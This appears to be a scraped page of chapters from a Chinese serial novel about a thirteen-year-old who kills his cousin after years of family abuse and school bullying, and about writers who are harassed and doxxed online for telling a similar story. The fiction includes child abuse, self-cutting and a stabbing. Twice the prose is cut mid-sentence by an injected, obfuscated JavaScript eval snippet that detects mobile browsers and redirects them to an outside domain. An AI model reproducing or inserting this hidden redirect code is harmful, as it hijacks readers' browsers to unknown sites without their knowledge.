谢正到现场的时候,正看到赵安东的父亲,赵刚被警员看着不让他离开。他大老远看到谢正过来,忍不住大喊;“谢警官,你能跟他们说说不,我真的只是来看李慈的,他死了跟我没有关系的。” “你来看他?”谢正问。 “对啊,我就是来看看他。我看他还躺在床上睡觉。睡得像死人一样。我就想说喊喊他。然后我就进去我去拉他的耳朵,大声喊他的名字。我没有做什么其他的事情啊。” 他说到这里的时候看着谢正的表情依旧很真诚,只是喘了口气接着说:“ 他身体好得很,这一直睡下去也不是事情,那不是电视上都是喊着喊着人就醒了吗?我就是想着试一试。而且治不好病人是一生的问题啊,跟我有什么关系,我就是喊了喊他而已。” 谢正跟医生确认了一下,屋内医疗设备没有移动,挂着的点滴也没有问题。看起来只是一个不太懂医疗的普通人做了个奇怪的行为。谢正摆摆手,警员就后退一步不在挡着对方。 他如释重负般地舒了口气,然后他准备走了。走之前看了一眼谢正,像是感激一样:“谢谢你,谢警官。” 谢正走过去跟他并行,说是还有事情要问他,没走几步伸手一指,请他重新在椅子上坐下,随后问:“你来看他有人知道吗?”“需要谁知道吗。”他忍不住问道。 “那我换个问题。” “你说。” 他说,“ 反正谢警官问我的,我都会告诉你,虽然我不一定还记得清楚。” “你妹妹和他结婚前,你就认识李慈吗?”谢正问。 “你问过这个了。”说到这个他忍不住提示。 “你妹妹和他结婚前,你就认识李慈吗?”谢正继续问。 “不认识。”他说。“他就是我妹妹非要嫁,我们也没办法,我们家跟他家差太多了,嫁过去也是受累。” “具体说说呢。”“我说过呀。”他很不高兴地说。“小安东的案子时候我都说了呀。” “是不是现在查完的案子还要再问?”他恼火地问。 谢正没有回答,看着他的表情依旧是很好奇他的答案。 “好吧。”他无可奈何地说。“结婚前……我知道。” “知道什么?” “知道……李慈的性取向不同。” 他皱起眉头继续说这。“这我也没办法,就算知道了这个,我们家穷我妹妹想要过的好一点也只能这样了。你不知道穷对于一个人有多可怕。总说要努力努力,可是看不到什么希望,这怎么努力啊。” 他情绪有点哽咽。 “可是你们家养猪不是也挺赚钱的吗?”谢正突然这样问。 赵安东的父亲一愣,然后说:“什么叫赚钱?” “是我一头猪养一年只能赚5000元。赚钱?还是有人借走一头猪拍摄个电影给2万赚钱?别说我养猪,我就是不吃不喝养一百年猪,我都没有人家赚的零头多。然后我的猪被炸死了要求个说法。我们一家人还要被人骂是穷疯了,这辈子就只配和猪打交道。” 他最后还说了什么,但是谢正没有听清。但是事情他知道,就是别人拍电影借走了一头猪,给了两万块,拍摄的时候猪被炸死了。 “这些跟李慈有什么关系?”谢正进一步问。 “没有关系。”他说着站起来就准备走了。 “别走。”谢正说,“ 赵安东有些事情不说,但是你们没有什么事情在当时案子里是瞒着我的吗?” “谢警官,你别在问了。”他对谢正说,“现在就是这样了,我也没什么能说的。孩子错了就是错了,法律该怎么判我们都接受。就不要再问了。” “你就是在瞒着我。” “有瞒着你的又怎样?”他非常气愤地重新在椅子上坐下。“ 我就算告诉你了,孩子就算告诉你了,难道能有什么改变吗?如果没有改变的话?为什么还要问我?” “而且说不说也没有意义了,他做了这个事情,自然自己要付出代价。” “做了错事就要付出代价。” 谢正看着他说完又离开了,随后打了个电话说道:”我申请面见一次赵安东。” 3. 第三章 自白 一 秋天的风从树叶间如细雨簌簌地掉落。路上很多学生在路上打闹,人很多说话的声音很零乱,每天都像是这样。 赵安东每天上学的时候就是这样。那个时候他正从一条小路里走了出来,他正站在小路寻找着流浪猫。他还在犹豫去往左边走呢还是往右边走。因为昨天是在左边的小路遇到了流浪猫,所以他犹豫着是不是今天该去右边,但是可能小猫在左边等他。可能因为是见到喜欢的,他犹豫的时候心里没感到烦躁。不过犹豫久了反而更不知道去那边了。 “ 赵安东,你在做什么?” 同班的同学从身后走过去,单手直接打他的脑袋,很用力地打他的脑袋算是打招呼了。 “ 寄人篱下穷小子还不去上课啊?等下又要被罚站了。” “ 关你什么事情。” 赵安东忍不住反抗着对方的动作。他很讨厌这些城市里的人,不是看着他眼神里充满了不屑,就是这样喜欢用不同的办法欺负他。 他不知道应该怎么办,偶尔他觉得自己跟家里猪一样。猪注定年末要被肢解上餐桌,他可能也注定被这些人欺负。他也跟姑姑讲过,但是姑姑却说是他的问题。因此渐渐地他也就不去考虑该怎么反抗。或者这些事情都是必然的?赵安东依然持续有很多疑问,但是他不知道怎么把这些疑问告诉别人。有这个苦恼的时间他还不如去网吧玩游戏。有什么苦恼的事情都能在网吧消除,所以他也就没必要烦躁不安。 今天的生理卫生课讲了人体的结构,原来有些地方的血管被割破就会死亡。心脏也很重要这是人体血液流动的工具。他觉得这些东西很有用,今天又学到很多有用的知识。放学后何甜老师又要去他家家访,但是这次是说他的成绩比以前好了很多。 “ 嗯……赵安动同学,你这次期中考试的成绩很不错。有很大的进步,继续保持啊。” 何甜翻看着成绩表,忍不住叮嘱同学记得要继续好好保持。 赵安东吓一跳,他还以为何甜老师又要去家访。每一次家访结束他都会被姑姑打骂,她骂人的词非常的丰富。他也会跟爸爸告状,但爸爸只会说姑姑很可怜的,让他在市里学校好好学习,当个好学生。姑父不会骂他,但是也不会阻止姑姑说他。他只会带着李恒呆在别的地方等着姑姑教训完他。 但是姑姑不在的时候,姑父又说他本来就没打算要教训他,也就是说他觉得小孩会犯错是个正常的事情。小朋友只是因为错误的诱惑才会犯错的,但是只要小朋友知道自己做错了,那他就会得到老师的原谅。 所以他会按着姑父说的事情去做,这样就会得到老师的原谅。就好像他这一次成绩变好了一些,大家果然对他的笑容也多了一些,尽管同班的同学还是有人很讨厌他,但他觉得自己已经强大了。 路上遇到流浪猫的时候他也像跟老朋友打招呼一样。他的心情很是舒畅的。姑姑比往日回来的早,她已经走到了他跟前,看到他正仔细打量着自己,姑姑的脸上露出了奇特的笑容,随后笑声越来越响,那笑声变得断断续续,十分刺耳。 赵安东有点一愣,他不知道姑姑现在是开心还是生气。但是他已经提高了成绩了。赵安东安慰着自己应该不是生气吧,所以也就转回过脸去继续看着地上的猫。可是随即他又想起了什么,他转过身小心翼翼喊着姑姑,不过姑姑已经走了几步远了。 他似乎想到了什么,紧接着连忙跑过去跟着姑姑身后。“ 姑姑,我这次期中考试成绩提高了。” 赵安东很开心的跟着姑姑讲着。但是姑姑转身看着他的眼神从烦闷变成惊恐,紧接着她猛地拉着他往家走。 本来想得到姑姑表扬的赵安东被姑姑的动作搞得莫名其妙,但是被拉着走的他只能跟着姑姑的步子。这时他听到远处有一个声音飘过来,那声音在说什么? “你怎么看的孩子,他胳膊上怎么都是血?” 起先他还想解释那是他听完生理卫生课想要确认割血管就会出血。 但随即想了想好像也没什么解释的必要,反正姑父知道的他会告诉姑姑。 二 看到猫,村里的细节清晰地浮现在眼前。猫尸体上落下的雨沾上了血,可以闻到血的味道。这个血的味道,和家里养猪场的味道一样。在等待雨停的时间里看着猫的尸体。在家附近的小卖店屋檐下避雨的赵安东,脑海里记着后面的新闻。他手里拿着玻璃瓶的汽水,已经喝完了。 在波涛汹涌的溪边附近,从小卖铺屋檐和柳树的之间倾泻而下的风和雨。在波涛汹涌的柳树之间的路上,伸直身体的猫看着叽叽喳喳的叫声的鸟。赵安东虽然想卖掉手中的玻璃瓶,买一些肉给猫吃。但是赵安东没有防水雨鞋,所以只能只能想着这个事情,在水里路过的时候看着走路的人。 雨势加大了。屋檐下的滴水浸湿了唯一的运动鞋。姑姑说再往里一点,用冷冰冰的语气说话,拉着后背,赵安东因为姑姑用力拉,意外地摔倒了。赵安东的身体紧贴地面,姑姑的声音响了起来。 “一只死猫的尸体有什么可看的?猫就是烦人,这不是耽误大家出行吗?” 姑姑赵花非常用力拉着他的胳膊,“ 你下次能不能不要再学校惹事情了。” ”我每天上班很累的,你还这么让人操心。你在这样能学好吗?要像你爸一样在乡下养猪吗?当年要没有我给的钱,还不知道在干什么呢?” 赵安东不明白明明他的考试成绩变好了,好好学习的他为什么还要被骂。不过如果今天姑姑不来接他就好了。他最近玩游戏的时候认识了一个特别厉害的人。他觉得和对方一起玩游戏很开心,这让他非常开心。 次日中午,赵安东已经走在那家里的街上了。网吧就在不远的地方,当他走过去的时候,网吧的哥哥在那里。当他坐在电脑面前玩游戏的时候,马上就有人认出了他。有几个人转身告诉他:“ 你厉害啊。你姑姑刚走你就来了。” 他点点头表示已经知道。“不过她没看到你就走了。” 听了这话,赵安东才继续按下鼠标。 “这一次游戏大家努把力啊,这把有安东在,咱们这把游戏肯定稳了。”那人有些疲倦地说。 赵安东忍不住笑起来,他很喜欢玩这个游戏,这些年纪比他大的人都没有他厉害。 游戏进行的很顺利。在最后的部分,赵安东就要胜利的时候,赵花气势汹汹而来,直接把游戏关掉。她拽着赵安东的胳膊把他拉出去,好几个人围上去告诉她赵安东打游戏,每次赢了对方都会给钱的。 “ 你骗谁呢?玩游戏给钱?不让人掏钱就不错了。” 现在的情景,大家都知道赵花肯定不会让他继续在网吧呆着。 当他被拉扯着回家,他已经想好了回到姑姑家又会被怎样打。路上跟平日一样很安静,只有几个人骑着摩托车会好奇的看看,发动机在弥漫着延误。他经过小卖铺又是熟悉的新闻,此刻是下午三点半的时候。 家里也很安静,赵安东是逃课去玩游戏。这会姑姑也比平时看起来安静,此刻阳光正在窗户外在树叶上跳舞。今天没有风,鸟叫声更清 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赵安东看着李恒嘴里自言自语。这些话他听了好久了,每天都是因为很简单的话就要担惊受怕。他认识朋友能打游戏就给他钱,有了钱他就不是姑姑嘴里没人要的小孩。他可以自己买车票回家,不会因为拿了冰箱里的一瓶奶被骂是垃圾货。他必须每天很开心,热爱生活,感恩收留。他要承受姑姑的谩骂,李恒的挑衅,姑父的侵害,还有他们一家人对他父母的诅咒。 赵安东坐的那地方正是他无数次被打的现场。赵东安看着李恒不禁假笑,他说:“你再骂一句我就杀了你。” 李恒的表情和姑姑一样,但转眼看着又跟姑父一样,对于赵安东的话就当作是玩笑。李恒没有答理,他甚至把脖子伸过去嘲笑起来,他说道:“这,往这来。量你也没有那个胆子。我爸妈说的没错,你跟你爸妈一样都是垃圾,垃圾应该呆在垃圾呆的地方。” 赵安东推开李恒,走去厨房的赵安东自言自语,依稀只听得清都欺负我几个字。然后他像是积攒的愤怒如火山爆发大叫大嚷起来。再走回厨房的赵安东在离他一米远的地方站住,他举着刀对他说:“你给我道歉。” 没有道歉,反而是依旧重复的话语。赵安东看着窗外的树木,阳光看起来很美丽。当他再看过来,李恒已经停止了说话,躺在地上身上留着血。正朝赵安东留下最后一个惊恐地表情。赵安东便报以亲切一笑,然后把刀拔了出来。 这可怎么办?赵安东在想,这会姑姑真的会把他打死了。不然他让姑姑去陪李恒?一想到杀害姑姑的场面,赵安东就浑身起鸡皮疙瘩,热血沸腾。这个场面他想了很久了。 三 半年前,有生理卫生课程的那日。当时看到回家的表弟时,赵安东想象到了抓住眼前的一把刀杀人的场面, 但身体却动弹不得。李恒一直用奇怪的眼神看着赵安东,赵安东也看着李恒的脸。在不知不觉中避开视线的瞬间,李恒感觉到了可怕的事实,赵安东有些吓人。 姑姑再次殴打赵安东之前,赵安东一边向大门走去,一边向屋里看,可怕的人像怪物一样追着他咆哮。屋里的几只猫吓得在屋里跳了起来。回到家的姑父问在房间里骂赵安东的姑母有什么问题。姑父抱着逃跑的赵安东,好像抱着某种珍贵的碎片。 决定无视提问的姑姑听到姑父的话后脸色变了。赵安东逃跑了,来找他的几只猫吓得在草丛中跳了起来。那天这把刀又试在自己胳膊上,会流血的。谢正再见到赵安东的时候,所有的事情都明了,可惜不管怎么听,赵安东语言已经乱七八糟。 但是当谢正跟赵安东说他姑姑家没有猫时。 赵安东看着他说: "猫就在你后面。" 谢正回过头来望着,墙那边什么都没有。 4. 第一章 记忆 “ 你能告诉我,你的作品里,到底谁才是主角?” 教授的提问让吴倩瑜感到空白,空白的意思就是她从来没有考虑过这个问题。但是真的思考起来脑海里很多五花八门的答案都有,比如赵安东是主角,但她又担心创作伦理道德问题,甚至担心自己语言不能很好的回答这个问题,虽然她是想讨论这个话题,但一个十三岁的未成年杀人犯确实有够恶魔的。 但是,这是她小时候知道的事情,这个事情在她的脑海里一直是个躲不开的梦境,她怎么跑都跑不脱小男孩的刀,但实际上那个小男孩从来没伤害过她。 但吴倩瑜的脑海里已经给他做了一个特别明显的,但又非常无厘头的事情,她觉得恐惧,一是恐惧自己怎么会有这样的梦,二是恐惧最近又有未成年人杀人犯的事情出现,让她对这群还没有成年的孩子感到恐惧。 即便她也曾经是从这个年纪走过来的。 “我觉得警察是主角,他需要去探查所有的真相,但不一定真相就会被百分百放置在大众面前。”吴倩瑜想了想,还是回答了教授的提问。 一个课堂上的同学对她作品的讨论非常多,但是她只困在记忆里,困在梦里。从她知道儿时的事情开始,每天晚上睡觉,梦里都是在不停地逃跑。追捕她的偶尔是拿着刀的同学,她奔跑的路上能看到漂浮在空中的猫还有,猪。 黑暗里,没有声音的记忆,就只能跑。偶尔还会是巨大的怪人占据整个天空在抓捕人类,突然出现的时候,她只能躲在下水道的角落里,但主题总是不变的,就是逃难。 但这个逃难是为了什么?吴倩瑜觉得小时候的自己并没有欺负和赵安东类似的小孩,她偶尔还是跟他一样被欺负的小孩,那群班里的同学凑在一起问她还听不听话,知道听话了吗?还敢不敢顶嘴了? “ 嗯,短篇小说最重要的是要明确主角是谁,同学们也很认真的给了你很多建议,你可以把这个作品认真修改推敲一番。” 教授的声音继续说,但吴倩瑜的记忆里总混杂着过去的事情。 “ 好,我知道的,这个作品会好好修改,感谢大家们的建议。” …… “我小时候,真的不觉得同学们很好,准确的说是大部分同学都难得会很好。” “高中的时候,有同学就会欺负人,连带着各种考试都希望能抄到学习好的同学,还会嘲笑别的努力但是没有成效的学生,当然老师也是一样,看着学生成绩没有提高就没有任何的关心,随其自生自灭的样子。” “再小点的时候,同学们也有各种事情,打架,斗殴,这种事情还少见吗?” “你能想到零几年读小学的学生就会开老师黄谣吗?当然我也不是什么乖小孩,只是一般会避免欺负人,都是自己去争取打破一切。” “你说被打?被掐我脖子,拧我耳朵,关在厕所?那倒没有到那种程度,但是会有得红眼病的男同学挡着我不让走,非要盯着我的眼睛把红眼病传染给我,然后被我死死拧了他们的耳朵跑掉了。” “所以,我不觉得小孩子是什么善良的人,但确实我也能看到很多善良的孩子,人,总是复杂的,这种复杂从小的时候就开始了。” 吴倩瑜在网络上发布了征集询问关于小时候校园暴力相关的信息,好几个ID都在持续的回复的信息,这些内容看起来是个平平无奇的回答,直到下面有人说。 “ 你是不是想要用前些时间的未成年杀人新闻当登上热门的手段,你这样是不是太过分了,这种讨论的事情越来越多,受害者家属看到了难道不会触景生情吗?” 吴倩瑜回复道:“ 不知道,但我知道这种校园暴力事件每分每秒在世界各个国家的学校里都会发生,这是无法逃避的事情,都已经到了人会死亡的地步了,还不正视这些事情吗?” 事情都这样,什么事情都有正反两方和看客,谁能决定什么呢? 事情到这里,也就是网上的讨论而已。 小说是吴倩瑜写的,她不觉得能在小说里去辩论谁对谁错,审判是法律的事情,不是小说创作的目的。 初稿到推稿已经有很长时间了,她没有找到能投稿的文学杂志,可能故事讲的太黑暗了,也不是适合去叙述的主题。 但吴倩瑜还是写完了这个作品,她在M国留学,创意写作就是需要写毫无限制思维的作品。 她最先取材而开设的【征集询问关于小时候校园暴力相关的信息】推文,但很快她删掉了这个推文。 只是,很快又有类似的推文出现。 其中有个“十六岁一枝笔”的ID留言说了一个十三岁少年因为家庭暴力和校园暴力而构想的小说,和吴倩瑜没有发布的小说有很强的相似点。 新的提问下面,很快有人留言。 “ 我不喜欢你的故事,我觉得你在为杀人者辩护,但只这样天生坏种没必要长大的,而且你是在说前几年发生的案件吗?我好像觉得你小说里的故事有点熟悉,你这是为了流量故意的吗?” 十三岁杀人犯,因为不让玩电脑游戏而杀了一直说他的姑姑和表弟,这个故事太明显了。现实里是有相近的刑事案件。 很多人都走着结果推断开始的角度,总是觉得吴倩瑜要写这个小说是有问题的,甚至觉得“十七岁一枝花”的ID留言说了一个十三岁少年因为家庭暴力和校园暴力的信息也是错的,尤其还设定一些和现实无关的东西,让人看着心里有些不舒服。 分不清是虚构还是非虚构。 “我说了,这是虚构的小说,虚构的意思就是现实并不存在,现实世界有相似的事情,那是一个悲痛的存在,流量?你觉得现在我写这样的题材是为了流量?” “虚构就是虚构,就不要写和现实有一点关联的东西,和现实有关了那就是非虚构,你在这种时候出来说这种话?你一个写小说的分不清虚构和非虚构吗?你谁啊就说自己是写纯文学的?你怎么不说自己是写严肃文学的呢?” 吴倩瑜的故事是源于她的梦,还有她的小时候。她并不知道现实世界真的有这样的事情,只是想用这样的故事去让大众明确各自都在这种暴力事件中有自己应该做的事情,她不需要借文学创作去搞什么流量或者猎奇。 只要有这种心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495971|170187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态的创作者,是写不出来好东西的。 吴倩瑜的推文存在于呼叫APP,她有一个记录自己文学创作的专栏,经常分享一些想法和创作理论。 有人点开去看,吴倩瑜在几个月前,刚好写了一篇虚构小说和非虚构小说相关的东西,而且还有就是一些关于她自己的梦。 吴倩瑜的梦,还挺多的。 但总结下来就是,她总是会梦到小时候自己遭受的事情,父亲总是在外打工,母亲总是跟着姥姥姥爷去处理老家的事情,但父母在忙什么她一概不知道。 只是在各路亲戚家借住,日子就那样一天天过去。 儿时的记忆就变成噩梦一直缠绕着她,所以吴倩瑜知道留守儿童在亲戚家借住的痛苦。即便现在的风气是不允许截止的孩子去说自己的“委屈。” 各执一词,分不清真假委屈了。 基本上就是钱的问题最大,吴倩瑜小时候家里就不怎么富裕,甚至是贫穷,所有的人都在她耳边说这句话,可她每次告诉别人的时候却又得不到什么信任。 那些亲戚在她面前骂她,骂她父母的话,也就只有她一个人听到了。可她每次转述给父母的时候又想不起来那句话是什么。 只有情绪一直包裹着她,让她变得神神叨叨的,人很怪异,但又不像是故意如此。 这些故事变成梦,梦里她就看到一个小男孩追着别人杀,为什么?事情如何发生?从梦里来的故事就这样开始了。 本来这些也就是她一个人的回忆,对别人也没有什么影响。 一贯以来的话是说过去的就过去了。 至于刀子在谁手里,谁是被留了伤口的人都不重要,反正只想着事情过去就过去了。 本来确实是这样,再不会引起太大的关注。 直到吴倩瑜去M国留学,创意写作让她感受到了无穷的能量,她开始记录自己想要写的每一个故事。 “我梦到一个小男孩拿刀把欺负他的人都kan了,周围人很吵闹,不像是在哭,像是小男孩跑去其他地方,我看不清是哪里,但我觉得应该是网吧,我想看清电脑上的游戏,但我的视线一会是独立的,一会又是小男孩的视线,我分不清视角,反而什么也看不清。” “梦醒来,反而是儿时的记忆又出来了,家里的亲戚总是当着我的面说我的父母不好,小气,不社交,内向,不说话,性格不好,没人搭理,不喜欢跟人打交道,让我不要学他们。但说话的人没想过,我们只是不想跟他们说话而已。” 吴倩瑜的推文里,这部分被高光留言,倒是很多人理解这种内向的理由,比如内向的人并不是不会社交,而是不想跟对方社交,毕竟跟其聊天是消耗并不能带来平静。 说实话,吴倩瑜非常明确的知道,校园暴力一直存在,这不是一个简单的事情,许多人都在其中扮演着无法逃脱的角色,但是真的能用一个小说,一个电视剧,一个新闻就把这些话题辩论清楚吗? 没有答案。 她的心里没有答案。 甚至吴倩瑜把这个呼叫APP上的东西都删除了,她的小说也没有发布。 5. 第二章 这是谁的案件? “你们有没有看过那种少年犯的案件?” 这条提问就是挂在呼叫APP问答社区的深夜推荐上,一开始并不起眼。标题普通,配图也只是几个模糊案件的截图,可慢慢地,它爬上了热榜。 底下的答案各式各样,有的耸人听闻,有的理性分析,有的只是猎奇谈资。 “我记得南余市有个案子,一个女孩跟同桌大打出手,失手把人推下楼梯,动机好像只是因为被嘲笑了成绩。” “孩子怎么能杀人呢?那是因为有人早就在杀他们了。” “看过一个,十岁男孩因为父母管得太严刀了亲妈,太吓人了。” “有个案子,是小女孩长期揍弟弟,说弟弟得到了她没得到的爱。” “以前我们县有一个初中生,拿砖头砸了老师,后来查出来他一直被老师羞辱。” 各种案子层出不穷,评论区也分成了泾渭分明的两派: 一边说:“未成年人再怎么样也不能杀人。” 一边说:“一个孩子怎么可能无缘无故杀人,背后一定有大人该负的责任。” 当舆论还在交锋的时候,一个看似平平无奇的新回答突然火了。它没有标点,没有截图,没有煽情的标题,一个新回答被顶到了首页: “我写过一个小说,主角是个十二岁的男孩,他杀了姑姑和表弟。男孩出生在南方的一个山沟沟里,从小父母离异,被扔给姑姑抚养。姑姑表面上说得好听,他因为学习好被寄养在姑姑家,姑姑是个控制欲极强的女人,每天对他冷嘲热讽,还逼他背一些根本听不懂的英语单词,做错题就让他跪着,对他从来没有好脸色。 她会逼他吃剩菜剩饭,说‘省一点是一种美德’,会在他睡觉时把他叫起来检查作业,错一题就罚跪在厨房地砖上。 姑父是个西装笔挺的男人,经常加班,但每次回家都要让他洗脚,有几次在他洗脚的时候会摸他的脸,说‘你长得像我小时候最好的朋友’。他不知道这是什么意思。他只知道自己一闭眼,就会梦见那双手。 在学校,他成绩很好,老师夸他‘懂事’,‘自律’,‘比很多城里的孩子还好’,结果那天下午放学,城里的男生就把他的作文本丢进了水池,还被一群城里的同学堵在小卖部后面扇巴掌。 爸爸把他送来姑姑家的时候,在他内裤里封了好几百,他把大部分都给了姑姑,只留下来几元,后来偷偷存了好久的零花钱在文具店买了台盗版游戏机。夜里他玩得太高兴,发出了声音,被姑姑听见。她把游戏机摔了,还说:“你以为你是我儿子啊?玩什么游戏?你就是个寄生虫。”他没有说话。他只是把地上的游戏机一块块捡起来,用袖子包好。第二天夜里,他在厨房拿了把菜刀。 他不记得自己砍了几刀。只记得弟弟哭了一声,说:“哥你疯啦?” 后来警察来的时候,他蹲在地上,抱着弟弟,跟他们说:‘我没想杀他,我只是想被尊重,我想赢一次。’” 这篇小说没有附原文,只是用这种大略形式讲了个完整故事。没有过多修辞,也没有为少年开脱。只是描述。 但就是这样一段文字,评论瞬间爆炸。 “这是你写的?还是你改编的案件?” “你是不是有病,在替杀人犯说话?” “这是你写的?你在洗白杀人犯吗?” “看着太真实了,像是真的案子。” “你这语气太冷静了,看得我头皮发麻。” “我不接受你这种美化暴力的写法,你知不知道被害人有多无辜?” 更多人点进了作者主页,发现她的名字叫“十六岁一枝笔”,除了这个小说,只有极少数回答,风格都偏沉重。 一条是:“你童年最害怕的是什么?” 她写道: “我小时候怕锁门的声音,咔哒一响,就知道要出事了。” 另一条是:“你怎么看校园暴力?” 她写道: “它和家庭暴力一样无解,因为它们不被当成暴力,不不过校园暴力连一个‘家’的概念都不肯给你。” 也有人提出不同声音:“你们看清楚了吗?她写的是小说,她甚至没为那个孩子辩护,只是在还原。” 但舆论不是逻辑构成的,而是情绪的洪水。 最热评论变成了:“你小时候是不是也想杀人,所以现在才替这种人说话?” 有人扒出她在三个月前,曾分享过一篇短文,描述一个小女孩因为拿了全年级第一名,被人往课桌里倒了牛奶。文末她写了一句:“她洗干净课桌,再也没考过第一。” 这些细节加起来,让网友们产生了不安。 “她是不是有病?” “她不是真的在写小说,她是在用别人的故事洗自己的创伤。” “你是不是也想过杀人?是不是你小时候也有这冲动,所以你写这个故事来安慰自己?” 很快,有人翻到了几年前的帖子截图,说这个ID曾发过一句话: “有时候我觉得,只要我当时握着剪刀,我的人生可能就会变成另一个方向。” 这条评论被顶上了首页,许多留言涌了上来: “所以你就是那个潜在的杀人犯咯?” “你别写小说了,你去看病吧。” “建议警方介入。” 当晚,关于“少年弑亲小说”的话题冲上热搜。不过有一条评论很快被顶了上来,获得大量点赞: “大家有没有想过,她从头到尾也没为那个男孩开脱?她只是让你看到他为什么会那样。而你们,第一反应不是理解,而是批评她是不是‘共情错了人’。” 这条评论在热搜榜上停留不到十分钟,就被新的负面舆情压了下去。有人自称是她学校的学生,匿名留言: “她是我们学校的,我们学校有个女生以前就被霸凌过。她写小说那段时间有一次还被叫家长。” “听说她爸妈离婚了,她小时候住亲戚家,被打得很严重。” “她就是那个主角,她写自己呢。” 还有人开始人肉她,发了一张她的照片,说:“看看,这就是那个写‘少年杀人’小说的女生。”照片很模糊,女孩坐在学校花坛边,头发挡住了半张脸。评论里有人骂,也有人心疼。整件事到了这里,本来应该止步于一次争议性的创作,却在第二天清晨翻出了新波澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495972|170187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一名自称是某重点高中学生的人在贴子下留言: “我们学校好像有个人和这个ID的说法一模一样,她写了个小说,还给老师看过稿子。” “她初中时候被霸凌过一次,我同班的朋友记得,那时候她成绩特别好,有人嫉妒她,往她校服里塞垃圾。” “还有人说她妈妈以前打她打得特别狠,拖把都砸断过,就是最近几年她成绩好了才没有打过。” 这段留言迅速被转发出圈,标题变成了: “网友自述童年暴力经历写小说洗白少年杀人犯,真实身份或曝光!” 评论区分裂得更彻底了。 有人说:“她根本不是想引起反思,她是在代入。” 也有人说:“是不是有人不愿意看到社会问题被写出来,就非要污蔑作者?” 就在大家争相讨论她的真实身份时,原发帖者突然又出现了。 她没有争辩,也没有解释。 她只留下了一句话: “我小时候也恨过人,你们担心的事情,我没有,我也不会。” 这一句话,像石子扔进夜色深潭,会被发现吗?其实并一定被看见,没有泼天煽情,没有剧烈反驳。 只是能触碰到谁的心,反而认为比任何一次辩解都更沉重。 评论又开始转向,有人写:“她不是在为男孩洗白,她在问我们为什么从来不追问那些加害者。” 也有人反问:“所以你没杀人,你就想告诉我们你比那个孩子强?” 不过这样的事情,吴倩瑜并没有注意到,她只是为了写一个关于“家庭暴力和校园暴力”的小说开了一个话题去等待别人的留言,她没想到过自己删掉了话题,还有人会新建这个话题。甚至完全没想到青少年其实也在思考这个事情,甚至比她更为重视。 远在海外读书的吴倩瑜暂时把这本小说放下了,她明白自己找不到好的切入点去讲述这个故事,她也不想再把这个事情夸大成更为引起情绪的事情,那不是她的本意。 吴倩瑜同样明白,想用一篇小说去探讨这种悲剧事情里谁错了是很难有结果的。 理性来讲,她必然知道她小说里的赵安东一定是错误的,杀人的动作本来就是一个错误的结果,所以她让赵安东成为一个精神疾病患者永远在精神院里,她确实认为赵安东是错的。 但吴倩瑜也知道悲剧的发生都是有原因的,比起想论调谁是错的,她希望能用一个小说让读者重视起来关于“家庭暴力和校园暴力”的事情。 她期待着: 欺负人的忍忍自己要欺负人的心。 被欺负的人忍忍自己想要过激行为的心。 但是这可能吗? 人本来就是在遭受危机时会用一切手段保护自己的生物。 比起吴倩瑜小说可能带来的舆论,这条‘十六岁一枝笔’的发言,明显带来的舆论更为强烈。 不过,‘十六岁一枝笔’没有再回。 只是消息总会传到了她的学校、她的母亲那里。 甚至传到了曾经那个她不愿回忆的房间。 可那些更难听的话,才刚刚开始。 6. 第三章 评论区外 永安市,永安一中。 陈瑶的手机一直是静音,她从不在上课玩手机,但下课一定会找个地方。 但是她没想到网络的喧嚣并没有结束,反而变本加厉。 起初只是有人在评论区里说她是在“虚构中夹带私货”,说她“共情杀人犯”,但很快,帖子下面多了更多离谱的分析: “她肯定是小时候受过虐待,不然不会写这么细。” “这不是小说,这是回忆录,说不定就是她的故事,谁知道这人是男是女?” “她不敢说是谁,所以才编成小说。” 再后来,不知是谁先发起的,“扒原型”的行动开始了。 有人说她是南方某省某重点高中的高三生。 有人说她小学时就被亲戚收养,还说她姑姑是单亲,脾气很差。 还有人说她初中转过一次学,“因为霸凌同学被家长带走了”。 各种乱七八糟的猜测层出不穷,陈瑶不知道网络的那头,大家都是怎么猜的,似乎都很有推理能力。 直到一张模糊不清的教室偷拍图也出现在热帖评论里,照片角落里,一个黑长发的女孩正低头写字。 “听说是她。这照片我知道,我们班的。这照片看着,那时候她妈妈还在我们学校门口卖早餐。” “我记得她小时候特别沉默,做错题会一直跪着不起来,我们都吓坏了。” “她是那种能记仇十年的女孩,千万别惹。” 在这群人眼中,陈瑶已经不再是一个写小说的作者,而变成了一个可能拥有“反社会人格”的“潜在加害者”。 更多人涌进了她的主页,翻她过去的回答,评论区全是: “是不是你亲自体验过所以写得这么细?” “你小时候有没有想过杀人?” “你是不是嫉妒别人有正常的家庭?” 那些问题比刀子还钝,切得不流血,却钝钝地疼。 几天后,有人匿名发帖,说自己是那所学校的学生: “她叫陈瑶,高三,走读生,成绩很好,脾气很怪。我初中和她一个班,她有一次趴在桌子上睡觉,结果被老师骂,说‘像你这种单亲孩子最容易出问题’,她什么都没说。第二天她交了一篇作文叫《我想说对不起》,后来那篇作文得了一等奖。” 那篇帖子的热评第一是:“她一直在喊救命,只不过你们没人听懂。” 但热度很快就被另一条评论盖下去了:“作文拿奖也不能成为你杀人的理由。” 这句话下,一群账号像是约好了一样,齐刷刷地表示:“对,不能双标。” 仿佛她真的杀了人。 